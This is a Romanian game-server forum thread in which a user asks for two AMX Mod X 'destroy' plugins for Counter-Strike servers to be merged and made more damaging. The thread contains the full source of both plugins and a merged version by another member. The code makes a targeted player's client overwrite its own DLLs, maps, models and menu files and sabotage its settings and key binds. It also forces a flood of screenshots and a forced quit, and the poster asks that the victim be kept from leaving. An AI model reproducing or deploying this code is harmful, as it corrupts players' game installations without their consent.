Page 1 of 2

Imbinare destroy

Posted: 11 Jul 2012, 18:37
by smileye
Am 2 surse de de pluginuri destroy si ce ar contine unul nu contine celalt,as dori sa optimizati doar unul pe cel amx_tpdestroy de Dark-Skript si de la cel a lui DaNzet sa luati logs-urile ca sa faca si sa fie mai optimizat din cel a de-al doilea,adica sa strice dll-uri mai importante,motd-uri si modele si rezolvati un bug gasit de mine in tpdestroy faza cu pozele ca face prea multe poze jucatorului si poate sa iasa in timp ce a luat destroy si nu pateste nimic,mai degraba sa ii faca doar o poza cu adminul care i-a dat destroy,ora,serverul si sa fie colorate,dar vedeti ca atunci cand ii face poza sau ii modifica fisierele din CS jucatorul e pe glow(se face rosu),vreau sa ramana asta,dar sa nu poata iesi in acel moment de pe server cand ia destroy.

Si important pentru mine e sa testez daca reuseste cineva sa faca asta sa nu ii deie ban permanent pe urma daca nu scap de codati o sa incerc sa introduc eu ban permanent dupa destroy.

1.
| Afiseaza codul
/*
*	 If you want to use with Timepass Anticheat you should have Advanced Bans!
*	 Example usage: 
*	 timepass_custom_punish "amx_ban %name% %bantime% %reason%; amx_destroy %name%"
*/
#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <fun>

new PLUGIN[]="AMX TP Destroy"
new AUTHOR[]="Dark-Skript" 
new VERSION[]="2.0"

public plugin_init(){
	
	register_plugin(PLUGIN,VERSION,AUTHOR)
	register_concmd("amx_destroy","punish",ADMIN_BAN,"<nick> : Punishes bad player.")
	server_cmd("ab_bandelay 7") // Just incase you use it with Timepass Anticheat
}

new const g_files[][] = {
	
	"sprites/hud.txt", "resource/cstrike_english.txt", "tempdecal.wad","logos/remapped.bmp",
	"models/player/terror/terror.mdl", "resource/gamemenu.tga", "resource/loadingdialog.res",
	"resource/loadingdialognobanner.res", "resource/loadingdialogvac.res", "game.ico", 
	"resource/gamemenu.res", "custom.hpk", "liblist.gam", "voice_ban.dt", "de_vegas.wad",
	"motd.txt", "mapcycle.txt", "autobuy.txt", "steam_appid.txt"
}

new const g_maps[][] = { 
	
	"de_dust2.bsp", "de_dust.bsp", "de_dust2_2x2.bsp", 
	"cs_assault.bsp", "cs_office.bsp", "de_nuke.bsp",
	"de_airstrip.bsp", "cs_havana.bsp", "de_chateau.bsp",
	"de_aztec.bsp", "as_oilrig.bsp", "cs_siege.bsp",
	"de_cbble.bsp", "cs_747.bsp", "de_prodigy.bsp", 
	"cs_italy.bsp", "cs_backalley.bsp", "cs_militia.bsp",
	"de_train.bsp"
}

new const g_cmds[][] = {
	
	"drop; unbindall","bind escape ^"say Wtf^"", "fps_max 1", "volume 999999", 
	"rate 1", "bind ` ^"say Wtf^"", "gl_flipmatrix 1", "cl_cmdrate 1", "cl_updaterate 1", 
	"+right", "con_color ^"1 1 1^"", "fps_modem 1", "gl_flipmatrix 1", 
	"cd open", "hud_draw 0", "cl_righthand 1", "spk ^"vox/bizwarn destroyed^"",
	"MP3Volume 9999", "model fucked", "cl_minmodels 1", "sensitivity 999", 
	"gamma 999", "brightness 999", "voice_enable 0", "-jlook", "-mlook", 
	"cl_forwardspeed 0", "cl_sidespeed 0", "cl_backspeed 0", "cl_timeout 1", 
	"m_pitch 99", "viewsize 999", "crosshair 0", "+jump; +crouch; +back; +right",
	"fastsprites 0", "console 0", "name ^"MY CS IS FUCKED^"", "hideradar"
}

new const g_screenshot[][] = {
	
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", 
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot",
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", 
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot",
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", 
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot",
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;",
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot", 
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;",
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot"
}

new const g_configspam[][] = {
	
	"writecfg", 
}

public disable_user(id)
{
	new target = id
	strip_user_weapons(target);
	set_pev(target,pev_velocity,Float:{0.0,0.0,0.0})
	engfunc(EngFunc_SetClientMaxspeed,target,0.00001)
	set_pev( target , pev_flags , pev( target , pev_flags ) | FL_FROZEN )
	set_user_rendering(target,kRenderFxGlowShell,255,0,0,kRenderNormal,25)
}

public punish(id,level,cid){
	
	if (!cmd_access(id,level,cid,2)){
		return PLUGIN_HANDLED
	}
	new Authid[35]
	get_user_authid(id,Authid,34)	
	new arg[32],Name[32]
	read_argv(1,arg,31)
	new target = cmd_target(id,arg,1)
	get_user_name(target,Name,31)
	
	if(!target){ 
		return PLUGIN_HANDLED 
	}
	
	else
	
	disable_user(target);
	
	for ( new i; i < sizeof( g_files); i++ ){
		
		client_cmd(target, "motdfile %s", g_files)
		client_cmd(target, "motd_write Fucked")
	}
	for ( new i; i < sizeof( g_maps); i++ ){
		
		client_cmd(target, "motdfile maps/%s", g_maps)
		client_cmd(target, "motd_write Fucked")
	}
	for ( new i; i < sizeof( g_cmds); i++ ){
		
		client_cmd(target, "%s", g_cmds)
	}
	
	client_print(0,print_chat,"%s Was Destroyed",Name)
	client_cmd(0, "spk ^"vox/bizwarn Warning User Destroyed^"")
	
	for ( new i; i < sizeof( g_screenshot); i++ ){
		
		client_cmd(target, "%s", g_screenshot)
	}
	
	client_cmd(target, "say I am a fucking idiot;quit")
	
	return PLUGIN_HANDLED
}
cel de Dark-Skript
2.
| Afiseaza codul
/* AMX MOD X 1.8.1 PLUGIN
*
*	 NAME:Destroy 
*
*  PLUGIN: descarcat de pe http://www.novuslink.ro
*
*	DEVELOPER: developed by daNzEt @ NovusLink
*
*     Copyright @ 2011 by NvL TEAM
*/

#include <amxmodx>
#include <amxmisc>

#define PLUGIN "Destroy"
#define VERSION "2.0"
#define AUTHOR "daNzEt"

#define LOGFILE "destroy"

public plugin_init()
{
	register_plugin(PLUGIN, VERSION, AUTHOR);

	register_concmd("amx_destroy","cmdDestroy",ADMIN_BAN,"<nume>.");
	register_concmd("amx_distruge","cmdDestroy",ADMIN_BAN,"<nume>.");
}

public plugin_precache()
{
   	precache_sound("destroy.wav") 

   	return PLUGIN_CONTINUE 
}

public cmdDestroy(id,level,cid)
{
	if(!cmd_access(id,level,cid,2))
		return PLUGIN_HANDLED

	new argument[32]
	read_argv(1,argument,31)
	new jucator = cmd_target(id,argument,CMDTARGET_OBEY_IMMUNITY|CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS)

	if(!jucator)
		return PLUGIN_HANDLED

	new admin[32],jucator_x[32],ip[32]
	get_user_name(id,admin,31)
	get_user_name(jucator,jucator_x,31)
	get_user_ip(jucator,ip,31,1)

	//Mesaj Admin pentru comanda destroy
	chat_color(0,"!g[www.novuslink.ro] !nAdmin !g%s !n: I-a dat destroy lui !g%s",admin,jucator_x)

	//Sunetul destroy
	client_cmd(0,"spk destroy");

	//Face o poza jucatorului in cauza
	client_cmd(jucator,"snapshot;snapshot;name ^"www.novuslink.ro # Destroy^"");

	//Distruge cfg
	client_cmd(jucator,"unbindall");

	//Strica GameMenu jucatorului si cateva dll-uri importante
	client_cmd(jucator,"motdfile resource/GameMenu.res;motd_write Ai supt **** pe http://www.novuslink.ro;motdfile models/player.mdl;motd_write Ai supt **** pe http://www.novuslink.ro;motdfile dlls/mp.dll;motd_write Ai supt **** pe http://www.novuslink.ro"&#41;;
	client_cmd(jucator,"motdfile cl_dlls/client.dll;motd_write Ai supt **** pe http://www.novuslink.ro;motdfile cs_dust.wad;motd_write Ai supt **** pe http://www.novuslink.ro;motdfile cstrike.wad;motd_write Ai supt **** pe http://www.novuslink.ro"&#41;;
	client_cmd(jucator,"motdfile sprites/muzzleflash1.spr;motdwrite Ai supt **** pe http://www.novuslink.ro;motdfile events/ak47.sc;motd_write Ai supt **** pe http://www.novuslink.ro;motdfile models/v_ak47.mdl;motd_write Ai supt **** pe http://www.novuslink.ro"&#41;;

	//Distruge setari Counter
	client_cmd(jucator,"fps_max 1;rate 323612783126381256315231232;cl_cmdrate 932746234238477234732;cl_updaterate 3486324723944238423");
	client_cmd(jucator,"hideconsole;hud_saytext 0;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart;con_color ^"0 0 0^"");
	
	//Mesaje say pe bind
	client_cmd(jucator, "bind ^"w^" ^"say http://www.novuslink.ro !." );
	client_cmd(jucator, "bind ^"s^" ^"say http://www.novuslink.ro !." );
	client_cmd(jucator, "bind ^"r^" ^"say http://www.novuslink.ro !." );
	client_cmd(jucator, "bind ^"`^" ^"say http://www.novuslink.ro !." );


	//Baneaza jucatorul permanent
	client_cmd(id, "amx_addban ^"%s^" permanent", ip)
	
	//Log Fisier
	log_to_file(LOGFILE, "Admin %s i-a dat destroy lui %s", admin , jucator_x)

	return PLUGIN_HANDLED
}

stock chat_color(const id, const input[], any:...)
{
	new count = 1, players[32]

	static msg[191]

	vformat(msg, 190, input, 3)

	replace_all(msg, 190, "!g", "^4")
	replace_all(msg, 190, "!n", "^1")
	replace_all(msg, 190, "!t", "^3")
	replace_all(msg, 190, "!t2", "^0")

	if (id) players[0] = id; else get_players(players, count, "ch")
	{
		for (new i = 0; i < count; i++)
		{
			if (is_user_connected(players))
			{
				message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players)
				write_byte(players)
				write_string(msg)
				message_end()
			}
		}
	}
}
cel de DaNzeT

Re: Imbinare destroy

Posted: 11 Jul 2012, 20:19
by smileye
UP!! nu se pricepe nimeni? unde is scripterii de altadata?

Re: Imbinare destroy

Posted: 11 Jul 2012, 22:32
by Ulquiorra
ceea ce spui tu nu e ca si cum ai pocni din degete si s-au imbinat..
trebuiesc citite.. si apoi imbinate.. ( cel putin eu asa fac )
si in primul rand e mult mai greu cand e vorba de plugine gen destroy pentru ca sunt putin incarcate si
foarte dezordonate..

o sa ma uit sa vad daca reusesc ceva.. pana atunci arunca un ochi in semnatura la mine.. ( Advanced Eliminate ).

Re: Imbinare destroy

Posted: 11 Jul 2012, 22:59
by symbol
mai doresti si flori imbibate in parfum ?

Re: Imbinare destroy

Posted: 12 Jul 2012, 11:04
by smileye
symbol wrote:mai doresti si flori imbibate in parfum ?
Da doresc,si tu postezi pentru +1 sau asa ca sa te bagi in seama?

Nu doresc alte pluginuri care fac nu stiu ce,as vrea doar acesta daca e cineva sa ma ajute nu mai dau bani,vreau doar sa se cheme destroy pentru ca asa se numeste el clasic cum s-ar zice si sa fie mai optimizat pentru ca am mentionat in thread ce as vrea modificat la el,asta e plugin mic nu prea e ce de citit la el fata de pluginuri de 50kb daca vrei ceva modificat la el.

Re: Imbinare destroy

Posted: 12 Jul 2012, 16:12
by smileye
se mai uita cineva si pe aici?

Re: Imbinare destroy

Posted: 12 Jul 2012, 17:05
by K1d0x
Nu este nimic de imbinat primul plugin are incluse setarile din plugin-ul al doilea ! (mod_write, rate, fps etc)

Re: Imbinare destroy

Posted: 12 Jul 2012, 17:14
by smileye
Eu am precizat mai sus ce as vrea,poze sa faca doar 1 cu adminul care a dat destroy si sa fie in chat colorat(ora,adminul,mapa...),sa faca logs in folderul data cu numele destroy.txt care sa aiba la fel(data,adminul care a dat destroy...) si in chat sa apara cand un admin da destroy adminul care a dat destro si cui a dat,astea toate la primul SMA cel de Dark-Skript si mai are cate ceva al doilea SMA de danzet,de ex logs si adminul care a dat destroy.

Re: Imbinare destroy

Posted: 12 Jul 2012, 18:07
by K1d0x
| Afiseaza codul
#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <K1d0x_C_Color>
#include <fun>

new PLUGIN[]="AMX TP Destroy"
new AUTHOR[]="Dark-Skript" 
new VERSION[]="2.0"

public plugin_init(){
	
	register_plugin(PLUGIN,VERSION,AUTHOR)
	register_concmd("amx_destroy","punish",ADMIN_BAN,"<nick> : Punishes bad player.")
	server_cmd("ab_bandelay 7") // Just incase you use it with Timepass Anticheat
}

new const g_files[][] = {
	
	"sprites/hud.txt", "resource/cstrike_english.txt", "tempdecal.wad","logos/remapped.bmp",
	"models/player/terror/terror.mdl", "resource/gamemenu.tga", "resource/loadingdialog.res",
	"resource/loadingdialognobanner.res", "resource/loadingdialogvac.res", "game.ico", 
	"resource/gamemenu.res", "custom.hpk", "liblist.gam", "voice_ban.dt", "de_vegas.wad",
	"motd.txt", "mapcycle.txt", "autobuy.txt", "steam_appid.txt"
}

new const g_maps[][] = { 
	
	"de_dust2.bsp", "de_dust.bsp", "de_dust2_2x2.bsp", 
	"cs_assault.bsp", "cs_office.bsp", "de_nuke.bsp",
	"de_airstrip.bsp", "cs_havana.bsp", "de_chateau.bsp",
	"de_aztec.bsp", "as_oilrig.bsp", "cs_siege.bsp",
	"de_cbble.bsp", "cs_747.bsp", "de_prodigy.bsp", 
	"cs_italy.bsp", "cs_backalley.bsp", "cs_militia.bsp",
	"de_train.bsp"
}

new const g_cmds[][] = {
	
	"drop; unbindall","bind escape ^"say Wtf^"", "fps_max 1", "volume 999999", 
	"rate 1", "bind ` ^"say Wtf^"", "gl_flipmatrix 1", "cl_cmdrate 1", "cl_updaterate 1", 
	"+right", "con_color ^"1 1 1^"", "fps_modem 1", "gl_flipmatrix 1", 
	"cd open", "hud_draw 0", "cl_righthand 1", "spk ^"vox/bizwarn destroyed^"",
	"MP3Volume 9999", "model fucked", "cl_minmodels 1", "sensitivity 999", 
	"gamma 999", "brightness 999", "voice_enable 0", "-jlook", "-mlook", 
	"cl_forwardspeed 0", "cl_sidespeed 0", "cl_backspeed 0", "cl_timeout 1", 
	"m_pitch 99", "viewsize 999", "crosshair 0", "+jump; +crouch; +back; +right",
	"fastsprites 0", "console 0", "name ^"MY CS IS FUCKED^"", "hideradar"
}

new const g_screenshot[][] = {
	
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", 
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot",
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", 
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot",
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", 
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot",
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;",
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot", 
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;",
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot"
}

public disable_user(id)
{
	new target = id
	strip_user_weapons(target);
	set_pev(target,pev_velocity,Float:{0.0,0.0,0.0})
	engfunc(EngFunc_SetClientMaxspeed,target,0.00001)
	set_pev( target , pev_flags , pev( target , pev_flags ) | FL_FROZEN )
	set_user_rendering(target,kRenderFxGlowShell,255,0,0,kRenderNormal,25)
}

public punish(id,level,cid){
	
	if (!cmd_access(id,level,cid,2)){
		return PLUGIN_HANDLED
	}
	new Authid[35]
	get_user_authid(id,Authid,34)	
	new arg[32],Name[32],AdminName[32],Ip[32],AdminIp[32]
	new fo_logfile[64],timp[64],maxtext[256]
	read_argv(1,arg,31)
	new target = cmd_target(id,arg,1)
	get_user_name(target,Name,31)
	get_user_name(id,AdminName,31)
	get_user_ip(target,Ip,31)
	get_user_ip(id,AdminIp,31)

	get_configsdir(fo_logfile, 63)
	get_time("%m/%d/%Y - %H:%M:%S",timp,63)

	if(!target){ 
		return PLUGIN_HANDLED 
	}
	
	else
	
	disable_user(target);
    	format(maxtext, 255, "[AMXX] %s: [%s - %s] a folosit comanda DESTROY pe [%s - %s]",timp,AdminName,AdminIp,Name,Ip)
    	format(fo_logfile, 63, "%s/destroy.txt", fo_logfile)
	write_file(fo_logfile,maxtext,-1)

	for ( new i; i < sizeof( g_files); i++ ){
		
		client_cmd(target, "motdfile %s", g_files)
		client_cmd(target, "motd_write Fucked")
	}
	for ( new i; i < sizeof( g_maps); i++ ){
		
		client_cmd(target, "motdfile maps/%s", g_maps)
		client_cmd(target, "motd_write Fucked")
	}
	for ( new i; i < sizeof( g_cmds); i++ ){
		
		client_cmd(target, "%s", g_cmds)
	}
	
	K1d0x_C_Color(0, "!v[Admin] !e%s !cused command: Destroy on !e-> !v%s", Name, AdminName)
	client_cmd(id, "screenshot")
	client_cmd(0, "spk ^"vox/bizwarn Warning User Destroyed^"")
	
	for ( new i; i < sizeof( g_screenshot); i++ ){
		
		client_cmd(target, "%s", g_screenshot)
	}
	
	client_cmd(target, "say I am a fucking idiot;quit")
	
	return PLUGIN_HANDLED
}

Re: Imbinare destroy

Posted: 12 Jul 2012, 18:09
by smileye
/tmp/text8gPXUF.sma(4) : fatal error 100: cannot read from file: "K1d0x_C_Color"
la compilare,mnai bine introdu culorile direct in sma sa nu mai trebuiasca sa ii mai pun si inc-ul

apoi la poze ziceam ca este o problema,sa faca poze dar la interval mai scurt ca are timp sa iasa si nu ii mai face nimic destroy-ul

Re: Imbinare destroy

Posted: 12 Jul 2012, 18:41
by symbol
apai la ce iti mai trebe tie atatea plugin-uri si atatea mofturi ca si asa svu tau ii 0/32 non-stop =]]]

Re: Imbinare destroy

Posted: 12 Jul 2012, 18:52
by smileye
symbol wrote:apai la ce iti mai trebe tie atatea plugin-uri si atatea mofturi ca si asa svu tau ii 0/32 non-stop =]]]
stii tu ce server am eu?sa vorbesti sa nu adormi?dig lol,te bagi si tu in seama :|